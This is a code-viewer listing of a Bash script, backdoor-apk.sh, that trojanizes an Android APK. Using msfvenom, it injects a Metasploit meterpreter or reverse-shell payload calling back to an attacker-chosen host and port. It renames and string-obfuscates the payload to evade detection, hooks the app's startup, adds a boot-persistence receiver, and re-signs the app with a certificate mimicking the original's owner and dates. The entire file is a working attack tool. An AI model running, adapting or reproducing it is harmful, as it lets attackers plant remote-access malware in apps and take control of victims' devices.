/backdoor-apk/backdoor-apk.sh

https://github.com/dana-at-cp/backdoor-apk · Shell · 752 lines · 702 code · 31 blank · 19 comment · 44 complexity · 95ebebcabeee244ff0ade946dc79a352 MD5 · raw file

  1. #!/bin/bash
  2. # file: backdoor-apk.sh
  3. # usage: ./backdoor-apk.sh original.apk
  4. # Dana James Traversie
  5. # Security Architect | Hacker-in-Residence
  6. # Check Point Software Technologies, Ltd.
  7. # IMPORTANT: The following packages were required on Kali Linux
  8. # in order to get things rolling. These packages are likely
  9. # required by other Linux distros as well.
  10. # apt-get install lib32z1 lib32ncurses5 lib32stdc++6
  11. VERSION="0.2.4a"
  12. PAYLOAD=""
  13. LHOST=""
  14. LPORT=""
  15. PERM_OPT=""
  16. ORIG_PACKAGE=""
  17. INJECT_PACKAGE=""
  18. SMALI_FILE_TO_HOOK=""
  19. MSFVENOM=msfvenom
  20. BAKSMALI=baksmali
  21. UNZIP=unzip
  22. KEYTOOL=keytool
  23. JARSIGNER=jarsigner
  24. APKTOOL=apktool
  25. ASO=third-party/android-string-obfuscator/lib/aso
  26. DX=third-party/android-sdk-linux/build-tools/25.0.2/dx
  27. ZIPALIGN=third-party/android-sdk-linux/build-tools/25.0.2/zipalign
  28. # file paths and misc
  29. MY_PATH=`pwd`
  30. TMP_DIR=$MY_PATH/tmp
  31. ORIG_APK_FILE=$1
  32. ORIG_APK_FILE_NAME=""
  33. RAT_APK_FILE=Rat.apk
  34. LOG_FILE=$MY_PATH/run.log
  35. TIME_OF_RUN=`date`
  36. # for functions
  37. FUNC_RESULT=""
  38. # functions
  39. function gen_placeholder {
  40. local result=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 32 | head -n 1)
  41. FUNC_RESULT=$result
  42. return 0
  43. }
  44. function gen_smali_package_dir {
  45. local dir=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 5 | head -n 1)
  46. FUNC_RESULT=$dir
  47. return 0
  48. }
  49. function gen_smali_class_name {
  50. local start=$(cat /dev/urandom | tr -dc 'A-Z' | fold -w 1 | head -n 1)
  51. local end=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 4 | head -n 1)
  52. FUNC_RESULT=$start$end
  53. return 0
  54. }
  55. function find_smali_file {
  56. # $1 = smali_file_to_hook
  57. # $2 = android_class
  58. if [ ! -f $1 ]; then
  59. local index=2
  60. local max=1000
  61. local smali_file=""
  62. while [ $index -lt $max ]; do
  63. smali_file=$MY_PATH/original/smali_classes$index/$2.smali
  64. if [ -f $smali_file ]; then
  65. # found
  66. FUNC_RESULT=$smali_file
  67. return 0
  68. else
  69. let index=index+1
  70. fi
  71. done
  72. # not found
  73. return 1
  74. else
  75. FUNC_RESULT=$1
  76. return 0
  77. fi
  78. }
  79. function hook_smali_file {
  80. # $1 = new_ms_name
  81. # $2 = smali_file_to_hook
  82. local smali_file=$2
  83. inject_line_num=$(grep -n "return-void" $smali_file |head -n 1|awk -F ":" '{ print $1 }')
  84. sed -i ''"$inject_line_num"'i\ \ \ \ invoke-static \{\}, L'"$INJECT_PACKAGE"'\/'"$1"';->start()V\n' $smali_file >>$LOG_FILE 2>&1
  85. grep -B 2 "$INJECT_PACKAGE/$1" $smali_file >>$LOG_FILE 2>&1
  86. if [ $? == 0 ]; then
  87. echo "The smali file was hooked successfully" >>$LOG_FILE 2>&1
  88. FUNC_RESULT=$smali_file
  89. return 0
  90. else
  91. echo "Failed to hook smali file" >>$LOG_FILE 2>&1
  92. return 1
  93. fi
  94. }
  95. function cleanup {
  96. echo "Forcing cleanup due to a failure or error state!" >>$LOG_FILE 2>&1
  97. bash cleanup.sh >>$LOG_FILE 2>&1
  98. }
  99. function verify_orig_apk {
  100. if [ -z $ORIG_APK_FILE ]; then
  101. echo "[!] No original APK file specified"
  102. exit 1
  103. fi
  104. if [ ! -f $ORIG_APK_FILE ]; then
  105. echo "[!] Original APK file specified does not exist"
  106. exit 1
  107. fi
  108. $UNZIP -l $ORIG_APK_FILE >>$LOG_FILE 2>&1
  109. rc=$?
  110. if [ $rc != 0 ]; then
  111. echo "[!] Original APK file specified is not valid"
  112. exit $rc
  113. fi
  114. }
  115. function consult_which {
  116. which $1 >>$LOG_FILE 2>&1
  117. rc=$?
  118. if [ $rc != 0 ]; then
  119. echo "[!] Check your environment and configuration. Couldn't find: $1"
  120. exit $rc
  121. fi
  122. }
  123. function print_ascii_art {
  124. cat << "EOF"
  125. ________
  126. / ______ \
  127. || _ _ ||
  128. ||| || ||| AAAAAA PPPPPPP KKK KKK
  129. |||_||_||| AAA AAA PPP PPP KKK KKK
  130. || _ _o|| (o) AAA AAA PPP PPP KKKKKK
  131. ||| || ||| AAAAAAAA PPPPPPPP KKK KKK
  132. |||_||_||| AAA AAA PPP KKK KKK
  133. ||______|| AAA AAA PPP KKK KKK
  134. /__________\
  135. ________|__________|__________________________________________
  136. /____________\
  137. |____________| Dana James Traversie
  138. EOF
  139. }
  140. function get_payload {
  141. echo "[+] Android payload options:"
  142. PS3='[?] Please select an Android payload option: '
  143. options=("meterpreter/reverse_http" "meterpreter/reverse_https" "meterpreter/reverse_tcp" "shell/reverse_http" "shell/reverse_https" "shell/reverse_tcp")
  144. select opt in "${options[@]}"
  145. do
  146. case $opt in
  147. "meterpreter/reverse_http")
  148. PAYLOAD="android/meterpreter/reverse_http"
  149. break
  150. ;;
  151. "meterpreter/reverse_https")
  152. PAYLOAD="android/meterpreter/reverse_https"
  153. break
  154. ;;
  155. "meterpreter/reverse_tcp")
  156. PAYLOAD="android/meterpreter/reverse_tcp"
  157. break
  158. ;;
  159. "shell/reverse_http")
  160. PAYLOAD="android/shell/reverse_http"
  161. break
  162. ;;
  163. "shell/reverse_https")
  164. PAYLOAD="android/shell/reverse_https"
  165. break
  166. ;;
  167. "shell/reverse_tcp")
  168. PAYLOAD="android/shell/reverse_tcp"
  169. break
  170. ;;
  171. *)
  172. echo "[!] Invalid option selected"
  173. ;;
  174. esac
  175. done
  176. }
  177. function get_lhost {
  178. while true; do
  179. read -p "[?] Please enter an LHOST value: " lh
  180. if [ $lh ]; then
  181. LHOST=$lh
  182. break
  183. fi
  184. done
  185. }
  186. function get_lport {
  187. while true; do
  188. read -p "[?] Please enter an LPORT value: " lp
  189. if [ $lp ]; then
  190. if [[ "$lp" =~ ^[0-9]+$ ]] && [ "$lp" -ge 1 -a "$lp" -le 65535 ]; then
  191. LPORT=$lp
  192. break
  193. fi
  194. fi
  195. done
  196. }
  197. function get_perm_opt {
  198. echo "[+] Android manifest permission options:"
  199. PS3='[?] Please select an Android manifest permission option: '
  200. options=("Keep original" "Merge with payload and shuffle")
  201. select opt in "${options[@]}"
  202. do
  203. case $opt in
  204. "Keep original")
  205. PERM_OPT="KEEPO"
  206. break
  207. ;;
  208. "Merge with payload and shuffle")
  209. PERM_OPT="RANDO"
  210. break
  211. ;;
  212. *)
  213. echo "[!] Invalid option selected"
  214. ;;
  215. esac
  216. done
  217. }
  218. function init {
  219. echo "Running backdoor-apk at $TIME_OF_RUN" >$LOG_FILE 2>&1
  220. print_ascii_art
  221. echo "[*] Running backdoor-apk.sh v$VERSION on $TIME_OF_RUN"
  222. consult_which $MSFVENOM
  223. consult_which $BAKSMALI
  224. consult_which $UNZIP
  225. consult_which $KEYTOOL
  226. consult_which $JARSIGNER
  227. consult_which $APKTOOL
  228. consult_which $ASO
  229. consult_which $DX
  230. consult_which $ZIPALIGN
  231. verify_orig_apk
  232. get_payload
  233. get_lhost
  234. get_lport
  235. get_perm_opt
  236. mkdir -v $TMP_DIR >>$LOG_FILE 2>&1
  237. }
  238. # kick things off
  239. init
  240. # generate Metasploit resource script
  241. # credit to John Troony for the suggestion
  242. cat >$MY_PATH/backdoor-apk.rc <<EOL
  243. use exploit/multi/handler
  244. set PAYLOAD $PAYLOAD
  245. set LHOST $LHOST
  246. set LPORT $LPORT
  247. set ExitOnSession false
  248. exploit -j -z
  249. EOL
  250. echo "[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc"
  251. ORIG_APK_FILE_NAME=`echo "${ORIG_APK_FILE##*/}"`
  252. echo "Wroking on original APK: $ORIG_APK_FILE_NAME" >>$LOG_FILE 2>&1
  253. echo -n "[*] Decompiling original APK file..."
  254. $APKTOOL d -f -o $MY_PATH/original $MY_PATH/$ORIG_APK_FILE >>$LOG_FILE 2>&1
  255. rc=$?
  256. echo "done."
  257. if [ $rc != 0 ]; then
  258. echo "[!] Failed to decompile original APK file"
  259. cleanup
  260. exit $rc
  261. fi
  262. echo -n "[*] Locating smali file to hook in original project..."
  263. total_package=`head -n 2 $MY_PATH/original/AndroidManifest.xml|grep "<manifest"|grep -o -P 'package="[^\"]+"'|sed 's/\"//g'|sed 's/package=//g'|sed 's/\./\//g'`
  264. android_name=`grep "<application" $MY_PATH/original/AndroidManifest.xml|grep -o -P 'android:name="[^\"]+"'|sed 's/\"//g'|sed 's/android:name=//g'|sed 's/\./\//g'`
  265. echo "Value of android_name: $android_name" >>$LOG_FILE 2>&1
  266. android_class=$android_name
  267. echo "Value of android_class: $android_class" >>$LOG_FILE 2>&1
  268. smali_file_to_hook=$MY_PATH/original/smali/$android_class.smali
  269. find_smali_file $smali_file_to_hook $android_class
  270. rc=$?
  271. if [ $rc != 0 ]; then
  272. echo "done."
  273. echo "[!] Failed to locate smali file to hook"
  274. cleanup
  275. exit $rc
  276. else
  277. echo "done."
  278. smali_file_to_hook=$FUNC_RESULT
  279. echo "The smali file to hook: $smali_file_to_hook" >>$LOG_FILE 2>&1
  280. ORIG_PACKAGE=$total_package
  281. SMALI_FILE_TO_HOOK=$smali_file_to_hook
  282. fi
  283. echo "[+] Package where RAT smali files will be injected: $ORIG_PACKAGE"
  284. echo "[+] Smali file to hook RAT payload: $android_class.smali"
  285. echo -n "[*] Generating RAT APK file..."
  286. $MSFVENOM -a dalvik --platform android -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -f raw -o $RAT_APK_FILE >>$LOG_FILE 2>&1
  287. rc=$?
  288. echo "done."
  289. if [ $rc != 0 ] || [ ! -f $RAT_APK_FILE ]; then
  290. echo "[!] Failed to generate RAT APK file"
  291. exit 1
  292. fi
  293. echo -n "[*] Decompiling RAT APK file..."
  294. $APKTOOL d -f -o $MY_PATH/payload $MY_PATH/$RAT_APK_FILE >>$LOG_FILE 2>&1
  295. rc=$?
  296. echo "done."
  297. if [ $rc != 0 ]; then
  298. echo "[!] Failed to decompile RAT APK file"
  299. cleanup
  300. exit $rc
  301. fi
  302. gen_placeholder
  303. placeholder=$FUNC_RESULT
  304. echo "placeholder value: $placeholder" >>$LOG_FILE 2>&1
  305. original_manifest_file=$MY_PATH/original/AndroidManifest.xml
  306. if [ "$PERM_OPT" == "RANDO" ]; then
  307. echo -n "[*] Merging permissions of original and payload projects..."
  308. tmp_perms_file=$MY_PATH/perms.tmp
  309. payload_manifest_file=$MY_PATH/payload/AndroidManifest.xml
  310. merged_manifest_file=$MY_PATH/original/AndroidManifest.xml.merged
  311. grep "<uses-permission" $original_manifest_file >$tmp_perms_file
  312. grep "<uses-permission" $payload_manifest_file >>$tmp_perms_file
  313. grep "<uses-permission" $tmp_perms_file|sort|uniq|shuf >$tmp_perms_file.uniq
  314. mv $tmp_perms_file.uniq $tmp_perms_file
  315. sed "s/<uses-permission.*\/>/$placeholder/g" $original_manifest_file >$merged_manifest_file
  316. awk '/^[ \t]*'"$placeholder"'/&&c++ {next} 1' $merged_manifest_file >$merged_manifest_file.uniq
  317. mv $merged_manifest_file.uniq $merged_manifest_file
  318. sed -i "s/$placeholder/$(sed -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $tmp_perms_file | tr -d '\n')/" $merged_manifest_file
  319. diff $original_manifest_file $merged_manifest_file >>$LOG_FILE 2>&1
  320. mv $merged_manifest_file $original_manifest_file
  321. echo "done."
  322. # cleanup payload directory after merging app permissions
  323. #rm -rf $MY_PATH/payload >>$LOG_FILE 2>&1
  324. elif [ "$PERM_OPT" == "KEEPO" ]; then
  325. echo "[+] Keeping permissions of original project"
  326. else
  327. echo "[!] Something went terribly wrong..."
  328. cleanup
  329. exit 1
  330. fi
  331. # use dx and baksmali to inject Java classes
  332. echo -n "[*] Injecting helpful Java classes in RAT APK file..."
  333. mkdir -v -p $MY_PATH/bin/classes >>$LOG_FILE 2>&1
  334. mkdir -v -p $MY_PATH/libs >>$LOG_FILE 2>&1
  335. $DX --dex --output="$MY_PATH/bin/classes/classes.dex" $MY_PATH/java/* >>$LOG_FILE 2>&1
  336. rc=$?
  337. if [ $rc != 0 ]; then
  338. echo "done."
  339. echo "[!] Failed to run dx on Java class files"
  340. cleanup
  341. exit $rc
  342. fi
  343. $BAKSMALI d -o $MY_PATH/bin/classes/smali $MY_PATH/bin/classes/classes.dex >>$LOG_FILE 2>&1
  344. rc=$?
  345. if [ $rc != 0 ]; then
  346. echo "done."
  347. echo "[!] Failed to run baksmali on classes.dex created for Java class files"
  348. cleanup
  349. exit $rc
  350. fi
  351. cp -v -r $MY_PATH/bin/classes/smali/* $MY_PATH/payload/smali >>$LOG_FILE 2>&1
  352. rc=$?
  353. if [ $rc != 0 ]; then
  354. echo "done."
  355. echo "[!] Failed to inject smali files dervied from Java classes"
  356. cleanup
  357. exit $rc
  358. fi
  359. echo "done."
  360. # avoid having com/metasploit/stage path to smali files
  361. echo -n "[*] Creating new directory in original package for RAT smali files..."
  362. gen_smali_package_dir
  363. inject_package_dir=$FUNC_RESULT
  364. inject_package_path=$ORIG_PACKAGE/$inject_package_dir
  365. mkdir -v -p $MY_PATH/original/smali/$inject_package_path >>$LOG_FILE 2>&1
  366. rc=$?
  367. echo "done."
  368. if [ $rc != 0 ]; then
  369. echo "[!] Failed to create new directory for RAT smali files"
  370. cleanup
  371. exit $rc
  372. else
  373. echo "[+] Inject package path: $inject_package_path"
  374. INJECT_PACKAGE=$inject_package_path
  375. fi
  376. # create new smali class names
  377. gen_smali_class_name
  378. new_mbr_name=$FUNC_RESULT
  379. echo "[+] Generated new smali class name for MainBroadcastReceiver.smali: $new_mbr_name"
  380. gen_smali_class_name
  381. new_ms_name=$FUNC_RESULT
  382. echo "[+] Generated new smali class name for MainService.smali: $new_ms_name"
  383. gen_smali_class_name
  384. new_payload_name=$FUNC_RESULT
  385. echo "[+] Generated new smali class name for Payload.smali: $new_payload_name"
  386. gen_smali_class_name
  387. new_so_name=$FUNC_RESULT
  388. echo "[+] Generated new smali class name for StringObfuscator.smali: $new_so_name"
  389. gen_smali_package_dir
  390. new_so_obfuscate_method_name=$FUNC_RESULT
  391. echo "[+] Generated new smali method name for StringObfuscator.obfuscate method: $new_so_obfuscate_method_name"
  392. gen_smali_package_dir
  393. new_so_unobfuscate_method_name=$FUNC_RESULT
  394. echo "[+] Generated new smali method name for StringObfuscator.unobfuscate method: $new_so_unobfuscate_method_name"
  395. echo -n "[*] Copying RAT smali files to new directories in original project..."
  396. # handle MainBroadcastReceiver.smali
  397. mv -v $MY_PATH/payload/smali/com/metasploit/stage/MainBroadcastReceiver.smali $MY_PATH/original/smali/$INJECT_PACKAGE/$new_mbr_name.smali >>$LOG_FILE 2>&1
  398. rc=$?
  399. if [ $rc == 0 ]; then
  400. # handle MainService.smali
  401. mv -v $MY_PATH/payload/smali/com/metasploit/stage/MainService.smali $MY_PATH/original/smali/$INJECT_PACKAGE/$new_ms_name.smali >>$LOG_FILE 2>&1
  402. rc=$?
  403. fi
  404. if [ $rc == 0 ]; then
  405. # handle Payload.smali
  406. mv -v $MY_PATH/payload/smali/com/metasploit/stage/Payload.smali $MY_PATH/original/smali/$INJECT_PACKAGE/$new_payload_name.smali >>$LOG_FILE 2>&1
  407. rc=$?
  408. fi
  409. if [ $rc == 0 ]; then
  410. cp -v $MY_PATH/payload/smali/com/metasploit/stage/*.smali $MY_PATH/original/smali/$INJECT_PACKAGE >>$LOG_FILE 2>&1
  411. rc=$?
  412. fi
  413. if [ $rc == 0 ]; then
  414. rm -v $MY_PATH/original/smali/$INJECT_PACKAGE/MainActivity.smali >>$LOG_FILE 2>&1
  415. rc=$?
  416. fi
  417. if [ $rc == 0 ]; then
  418. cp -v $MY_PATH/payload/smali/net/dirtybox/util/obfuscation/StringObfuscator.smali $MY_PATH/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1
  419. rc=$?
  420. fi
  421. echo "done."
  422. if [ $rc != 0 ]; then
  423. echo "[!] Failed to copy RAT smali files"
  424. cleanup
  425. exit $rc
  426. fi
  427. echo -n "[*] Fixing RAT smali files..."
  428. sed -i "s/MainBroadcastReceiver/$new_mbr_name/g" $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
  429. rc=$?
  430. if [ $rc == 0 ]; then
  431. sed -i "s/MainService/$new_ms_name/g" $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
  432. rc=$?
  433. fi
  434. if [ $rc == 0 ]; then
  435. sed -i "s/Payload/$new_payload_name/g" $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
  436. rc=$?
  437. fi
  438. if [ $rc == 0 ]; then
  439. sed -i "s/StringObfuscator/$new_so_name/g" $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
  440. rc=$?
  441. fi
  442. if [ $rc == 0 ]; then
  443. sed -i 's|com\([./]\)metasploit\([./]\)stage|'"$INJECT_PACKAGE"'|g' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
  444. rc=$?
  445. fi
  446. if [ $rc == 0 ]; then
  447. sed -i 's|net\([./]\)dirtybox\([./]\)util\([./]\)obfuscation|'"$INJECT_PACKAGE"'|g' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
  448. rc=$?
  449. fi
  450. if [ $rc == 0 ]; then
  451. #.method public static obfuscate(Ljava/lang/String;)Ljava/lang/String;
  452. #.method public static unobfuscate(Ljava/lang/String;)Ljava/lang/String;
  453. sed -i 's:method public static obfuscate:method public static '"$new_so_obfuscate_method_name"':g' $MY_PATH/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1
  454. rc=$?
  455. if [ $rc == 0 ]; then
  456. sed -i 's:method public static unobfuscate:method public static '"$new_so_unobfuscate_method_name"':g' $MY_PATH/original/smali/$INJECT_PACKAGE/$new_so_name.smali >>$LOG_FILE 2>&1
  457. rc=$?
  458. fi
  459. fi
  460. echo "done."
  461. if [ $rc != 0 ]; then
  462. echo "[!] Failed to fix RAT smali files"
  463. cleanup
  464. exit $rc
  465. fi
  466. # TODO: Refactor and improve error handling and logging
  467. echo -n "[*] Obfuscating const-string values in RAT smali files..."
  468. cat >$MY_PATH/obfuscate.method <<EOL
  469. const-string ###REG###, "###VALUE###"
  470. invoke-static {###REG###}, L###CLASS###;->###METHOD###(Ljava/lang/String;)Ljava/lang/String;
  471. move-result-object ###REG###
  472. EOL
  473. stringobfuscator_class=$INJECT_PACKAGE/$new_so_name
  474. echo "StringObfuscator class: $stringobfuscator_class" >>$LOG_FILE 2>&1
  475. so_class_suffix="$new_so_name.smali"
  476. echo "StringObfuscator class suffix: $so_class_suffix" >>$LOG_FILE 2>&1
  477. so_default_key="7IPR19mk6hmUY+hdYUaCIw=="
  478. so_key=$so_default_key
  479. which openssl >>$LOG_FILE 2>&1
  480. rc=$?
  481. if [ $rc == 0 ]; then
  482. so_key="$(openssl rand -base64 16)"
  483. rc=$?
  484. fi
  485. if [ $rc == 0 ]; then
  486. file="$MY_PATH/original/smali/$stringobfuscator_class.smali"
  487. sed -i 's%'"$so_default_key"'%'"$so_key"'%' $file >>$LOG_FILE 2>&1
  488. rc=$?
  489. if [ $rc == 0 ]; then
  490. echo "Injected new key into StringObufscator class" >>$LOG_FILE 2>&1
  491. else
  492. echo "Failed to inject new key into StringObfuscator class, using default key" >>$LOG_FILE 2>&1
  493. so_key=$so_default_key
  494. fi
  495. else
  496. echo "Failed to generate a new StringObfuscator key, using default key" >>$LOG_FILE 2>&1
  497. so_key=$so_default_key
  498. fi
  499. echo "StringObfuscator key: $so_key" >>$LOG_FILE 2>&1
  500. sed -i 's/[[:space:]]*"$/"/g' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
  501. rc=$?
  502. if [ $rc == 0 ]; then
  503. grep "const-string" -n --exclude="$so_class_suffix" $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali |while read -r line; do
  504. gen_placeholder
  505. placeholder=$FUNC_RESULT
  506. echo "Placeholder: $placeholder" >>$LOG_FILE 2>&1
  507. filewithlinenum=`echo $line |awk -F ": " '{ print $1 }'`
  508. echo "File with line num: $filewithlinenum" >>$LOG_FILE 2>&1
  509. file=`echo $filewithlinenum |awk -F ":" '{ print $1 }'`
  510. echo "File: $file" >>$LOG_FILE 2>&1
  511. linenum=`echo $filewithlinenum |awk -F ":" '{ print $2 }'`
  512. echo "Line num: $linenum" >>$LOG_FILE 2>&1
  513. target=`echo $line |awk -F ", " '{ print $2 }'`
  514. echo "Target: $target" >>$LOG_FILE 2>&1
  515. tmp=`echo $line |awk -F ": " '{ print $2 }'`
  516. reg=`echo $tmp |awk '{ print $2 }' |sed 's/,//'`
  517. echo "Reg: $reg" >>$LOG_FILE 2>&1
  518. stripped_target=`sed -e 's/^"//' -e 's/"$//' <<<"$target"`
  519. echo "Stripped target: $stripped_target" >>$LOG_FILE 2>&1
  520. replacement=`$ASO e "$stripped_target" k "$so_key"`
  521. rc=$?
  522. if [ $rc != 0 ]; then
  523. echo "Failed to obfuscate target value" >>$LOG_FILE 2>&1
  524. touch $MY_PATH/obfuscate.error
  525. break
  526. fi
  527. echo "Replacement: $replacement" >>$LOG_FILE 2>&1
  528. echo "" >> $LOG_FILE 2>&1
  529. sed -i -e ''"$linenum"'d' $file >>$LOG_FILE 2>&1
  530. sed -i ''"$linenum"'i '"$placeholder"'' $file >>$LOG_FILE 2>&1
  531. cp -v $MY_PATH/obfuscate.method $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1
  532. echo "$placeholder" >> $TMP_DIR/placeholders.txt
  533. sed -i 's/###REG###/'"$reg"'/' $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1
  534. rc=$?
  535. if [ $rc != 0 ]; then
  536. echo "Failed to inject register value" >>$LOG_FILE 2>&1
  537. touch $MY_PATH/obfuscate.error
  538. break
  539. fi
  540. sed -i 's|###VALUE###|'"$replacement"'|' $TMP_DIR/$placeholder.stub >>$LOG_FILE 2>&1
  541. rc=$?
  542. if [ $rc != 0 ]; then
  543. echo "Failed to inject replacement value" >>$LOG_FILE 2>&1
  544. touch $MY_PATH/obfuscate.error
  545. break
  546. fi
  547. done
  548. cd $TMP_DIR
  549. cat placeholders.txt |while read placeholder; do
  550. if [ -f $placeholder.stub ]; then
  551. sed -i -e '/'"$placeholder"'/r '"$placeholder"'.stub' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
  552. sed -i -e '/'"$placeholder"'/d' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali >>$LOG_FILE 2>&1
  553. fi
  554. done
  555. cd $MY_PATH
  556. rm -v $TMP_DIR/*.stub >>$LOG_FILE 2>&1
  557. rm -v $TMP_DIR/placeholders.txt >>$LOG_FILE 2>&1
  558. if [ ! -f $MY_PATH/obfuscate.error ]; then
  559. class="$stringobfuscator_class"
  560. sed -i 's|###CLASS###|'"$class"'|' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali
  561. rc=$?
  562. if [ $rc == 0 ]; then
  563. method="$new_so_unobfuscate_method_name"
  564. sed -i 's|###METHOD###|'"$method"'|' $MY_PATH/original/smali/$INJECT_PACKAGE/*.smali
  565. rc=$?
  566. fi
  567. else
  568. rm -v $MY_PATH/obfuscate.error >>$LOG_FILE 2>&1
  569. rc=1
  570. fi
  571. fi
  572. echo "done."
  573. if [ $rc != 0 ]; then
  574. echo "[!] Failed to obfuscate const-string values in RAT smali files"
  575. cleanup
  576. exit $rc
  577. fi
  578. echo -n "[*] Adding hook in original smali file..."
  579. hook_smali_file $new_ms_name $smali_file_to_hook
  580. rc=$?
  581. echo "done."
  582. if [ $rc != 0 ]; then
  583. echo "[!] Failed to add hook"
  584. cleanup
  585. exit $rc
  586. fi
  587. dotted_inject_package=$(echo "$INJECT_PACKAGE" |sed -r 's:/:.:g')
  588. cat >$MY_PATH/persistence.hook <<EOL
  589. <receiver android:name="${dotted_inject_package}.${new_mbr_name}">
  590. <intent-filter>
  591. <action android:name="android.intent.action.BOOT_COMPLETED"/>
  592. </intent-filter>
  593. </receiver>
  594. <service android:exported="true" android:name="${dotted_inject_package}.${new_ms_name}"/>
  595. EOL
  596. grep "android.permission.RECEIVE_BOOT_COMPLETED" $original_manifest_file >>$LOG_FILE 2>&1
  597. rc=$?
  598. if [ $rc == 0 ]; then
  599. echo -n "[*] Adding persistence hook in original project..."
  600. sed -i '0,/<\/application>/s//'"$placeholder"'\n <\/application>/' $original_manifest_file >>$LOG_FILE 2>&1
  601. rc=$?
  602. if [ $rc == 0 ]; then
  603. sed -i '/'"$placeholder"'/r '"$MY_PATH"'/persistence.hook' $original_manifest_file >>$LOG_FILE 2>&1
  604. rc=$?
  605. if [ $rc == 0 ]; then
  606. sed -i '/'"$placeholder"'/d' $original_manifest_file >>$LOG_FILE 2>&1
  607. rc=$?
  608. fi
  609. fi
  610. echo "done."
  611. if [ $rc != 0 ]; then
  612. echo "[!] Failed to add persistence hook"
  613. cleanup
  614. exit $rc
  615. fi
  616. else
  617. echo "[+] Unable to add persistence hook due to missing permission"
  618. fi
  619. echo -n "[*] Recompiling original project with backdoor..."
  620. $APKTOOL b $MY_PATH/original >>$LOG_FILE 2>&1
  621. rc=$?
  622. echo "done."
  623. if [ $rc != 0 ]; then
  624. echo "[!] Failed to recompile original project with backdoor"
  625. cleanup
  626. exit $rc
  627. fi
  628. keystore=$MY_PATH/signing.keystore
  629. compiled_apk=$MY_PATH/original/dist/$ORIG_APK_FILE_NAME
  630. unaligned_apk=$MY_PATH/original/dist/unaligned.apk
  631. dname=`$KEYTOOL -J-Duser.language=en -printcert -jarfile $ORIG_APK_FILE |grep -m 1 "Owner:" |sed 's/^.*: //g'`
  632. echo "Original dname value: $dname" >>$LOG_FILE 2>&1
  633. valid_from_line=`$KEYTOOL -J-Duser.language=en -printcert -jarfile $ORIG_APK_FILE |grep -m 1 "Valid from:"`
  634. echo "Original valid from line: $valid_from_line" >>$LOG_FILE 2>&1
  635. from_date=$(sed 's/^Valid from://g' <<< $valid_from_line |sed 's/until:.\+$//g' |sed 's/^[[:space:]]*//g' |sed 's/[[:space:]]*$//g')
  636. echo "Original from date: $from_date" >>$LOG_FILE 2>&1
  637. from_date_tz=$(awk '{ print $5 }' <<< $from_date)
  638. from_date_norm=$(sed 's/[[:space:]]'"$from_date_tz"'//g' <<< $from_date)
  639. echo "Normalized from date: $from_date_norm" >>$LOG_FILE 2>&1
  640. to_date=$(sed 's/^Valid from:.\+until://g' <<< $valid_from_line |sed 's/^[[:space:]]*//g' |sed 's/[[:space:]]*$//g')
  641. echo "Original to date: $to_date" >>$LOG_FILE 2>&1
  642. to_date_tz=$(awk '{ print $5 }' <<< $to_date)
  643. to_date_norm=$(sed 's/[[:space:]]'"$to_date_tz"'//g' <<< $to_date)
  644. echo "Normalized to date: $to_date_norm" >>$LOG_FILE 2>&1
  645. from_date_str=`TZ=UTC date --date="$from_date_norm" +"%Y/%m/%d %T"`
  646. echo "Value of from_date_str: $from_date_str" >>$LOG_FILE 2>&1
  647. end_ts=$(TZ=UTC date -ud "$to_date_norm" +'%s')
  648. start_ts=$(TZ=UTC date -ud "$from_date_norm" +'%s')
  649. validity=$(( ( (${end_ts} - ${start_ts}) / (60*60*24) ) ))
  650. echo "Value of validity: $validity" >>$LOG_FILE 2>&1
  651. echo -n "[*] Generating RSA key for signing..."
  652. $KEYTOOL -genkey -noprompt -alias signing.key -startdate "$from_date_str" -validity $validity -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1
  653. rc=$?
  654. if [ $rc != 0 ]; then
  655. echo "Retrying RSA key generation without original APK cert from date and validity values" >>$LOG_FILE 2>&1
  656. $KEYTOOL -genkey -noprompt -alias signing.key -validity 10000 -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1
  657. rc=$?
  658. fi
  659. echo "done."
  660. if [ $rc != 0 ]; then
  661. echo "[!] Failed to generate RSA key"
  662. cleanup
  663. exit $rc
  664. fi
  665. echo -n "[*] Signing recompiled APK..."
  666. $JARSIGNER -sigalg SHA1withRSA -digestalg SHA1 -keystore $keystore -storepass android -keypass android $compiled_apk signing.key >>$LOG_FILE 2>&1
  667. rc=$?
  668. echo "done."
  669. if [ $rc != 0 ]; then
  670. echo "[!] Failed to sign recompiled APK"
  671. cleanup
  672. exit $rc
  673. fi
  674. echo -n "[*] Verifying signed artifacts..."
  675. $JARSIGNER -verify -certs $compiled_apk >>$LOG_FILE 2>&1
  676. rc=$?
  677. echo "done."
  678. if [ $rc != 0 ]; then
  679. echo "[!] Failed to verify signed artifacts"
  680. cleanup
  681. exit $rc
  682. fi
  683. mv $compiled_apk $unaligned_apk
  684. echo -n "[*] Aligning recompiled APK..."
  685. $ZIPALIGN 4 $unaligned_apk $compiled_apk >>$LOG_FILE 2>&1
  686. rc=$?
  687. echo "done."
  688. if [ $rc != 0 ]; then
  689. echo "[!] Failed to align recompiled APK"
  690. cleanup
  691. exit $rc
  692. fi
  693. rm $unaligned_apk
  694. exit 0